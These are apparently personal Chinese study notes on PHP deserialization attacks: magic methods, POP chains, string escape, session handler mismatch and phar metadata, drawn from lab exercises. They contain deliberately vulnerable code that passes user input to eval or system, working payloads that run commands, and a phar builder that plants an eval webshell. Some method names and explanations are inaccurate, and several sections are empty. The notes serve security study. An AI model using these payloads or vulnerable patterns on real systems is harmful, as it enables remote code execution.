2023/11/19学习内容:php反序列化
知识来源:橙子科技工作室
一.类与对象 只有在调用内部方法时才会执行内部方法的代码如下
$cyj->jineng(var1:'跳跳跳');
如果不调用内部方法,print_r($cyj)只会输出内部属性
二.序列化的基础知识
1.序列化的作用是将对象的状态信息转化为字符串
2.表达方式:
三.反序列化知识
反序列化后,再调用内部方法,使用的变量用的是反序列化的值而不是原本的内部属性。
如下面用的dazhuang而不是benben
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a);
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
四.魔术方法
什么是魔术方法:一个预定义好的,再特定情况下自动触发得到行为的方法。1.
1._construct() 构造函数
触发条件:实例化对象时
<?php
highlight_file(__FILE__);
class User {
public $username;
public function __construct($username) {
$this->username = $username;
echo "触发了构造函数1次" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了构造函数1次
2._destruct() 析构函数
对象销毁时触发,实例化后和反序列化后会被触发
<?php
highlight_file(__FILE__);
class User {
public function __destruct()
{
echo "触发了析构函数1次"."<br />" ;
}
}
$test = new User("benben");
$ser = serialize($test);
unserialize($ser);
?>
触发了析构函数1次
触发了析构函数1次
靶场练习:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
?>
playload:O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = 'O:4:"User":1:{s:3:"cmd";s:13:"system("id");";}';
unserialize($ser);
?>
三._sleep()
序列化serialize()函数会检查类中是否存在一个魔术方法_sleep()。
如果存在,该方法会先被调用,然后才执行序列化。
<?php
highlight_file(__FILE__);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password) {
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
public function __sleep() {
system($this->username);
}
}
$cmd = '"id"';
$user = new User($cmd, 'b', 'c');
echo serialize($user);
?>
四._wakeup()
_wakeup在反序列化以前触发
_destruct在反序列化后触发
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
$this->password = $this->username;
}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';
var_dump(unserialize($user_ser));
?>
object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL }
靶场
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = 'O:4:"User":1:{s:8:"username";s:2:"id";};';
unserialize($user_ser);
?>
五._tostring()
表达方式错误导致触发
把对象当成字符串调用
echo $test;
print $test;
时把对象当成了字符串输出
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $benben = "this is test!!";
public function __toString()
{
return '格式不对,输出不了!';
}
}
$test = new User() ;
print_r($test);
echo "<br />";
echo $test;
?>
User Object ( [benben] => this is test!! )
格式不对,输出不了!
六._invoke()
把对象当成函数时触发
七._call()
调用了一个不存在的方法
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test -> callxxx('a');
?>
callxxx,a
八._callStatic()
静态调用或调用成员常量时使用的方法不存在
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]";
}
}
$test = new User() ;
$test::callxxx('a');
?>
callxxx,a
九._get()
调用的成员属性不存在时
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>
var2
十._set()
给不存在的成员属性赋值
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>
var2,1
十一._isset()
对不可访问属性使用isset()或empty()时,_isset()会被调用
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __isset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
isset($test->var);
?>
var
十二._unset()
对不可访问属性使用unset()时
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
var
十三._clone()
当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法_clone()
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
__clone test
五.pop链
一。前置知识
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test']);
?>
<?php
class index {
private $test;
public function __construct(){
$this->test = new evil();
}
}
class evil { var $test2="system('ls');";
}
$a=new index();
echo urlencode(serialize($a));
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
private $test;
public function __construct(){
$this->test = new normal();
}
public function __destruct(){
$this->test->action();
}
}
class normal {
public function action(){
echo "please attack me";
}
}
class evil {
var $test2;
public function action(){
eval($this->test2);
}
}
$a='O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D';
$a=urldecode($a);
unserialize($a);
?>
二.pop链构造与poc编写
<?php
//flag is in flag.php
class Modifier {
private $var=flag.php;
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$mod=new Modifier();
$test=new Test();
$test->p=$mod;
$show=new Show();
$show ->source=$show;
$show->str=$test;
echo serialize($show);
?>
六.字符串逃逸
一.减少
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
让vip=true
O:4:"test":3:{s:4:"user";s:4:"flag";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
<?php
class test{
var $user='flagflagflagflagflagflagflagflagflagphp';
var $pass ='";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
var $vip = false;
}
$a=serialize(new test());
echo $a;
$a=str_replace("flag","hk",$a);
$a=str_replace("php","hk",$a);
var_dump(unserialize($a));
?>
O:4:"test":3:{s:4:"user";s:39:"flagflagflagflagflagflagflagflagflagphp";s:4:"pass";s:41:"";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}object(test)#1 (3) {
["user"]=>
string(39) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:""
["pass"]=>
string(6) "benben"
["vip"]=>
bool(true)
}
二。增加
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
目前代码:当pass=escaing的序列化字符串
<?php
class test{
var $user='benben';
var $pass='escaping';
}
echo serialize(new test());
?>
O:4:"test":2:{s:4:"user";s:6:"benben";s:4:"pass";s:8:"escaping";}
构造逃逸
七._weakup魔术方法绕过
八。引用的利用
九.session反序列化漏洞
save.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
vul.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
例题
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>
<?php
class Flag{
public $name;
public $her;
}
$a=new Flag();
$a -> name=&$a->her;
echo serialize($a);
?>
O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
playload:a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
十。phar反序列化
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
}
?>
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
例题
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>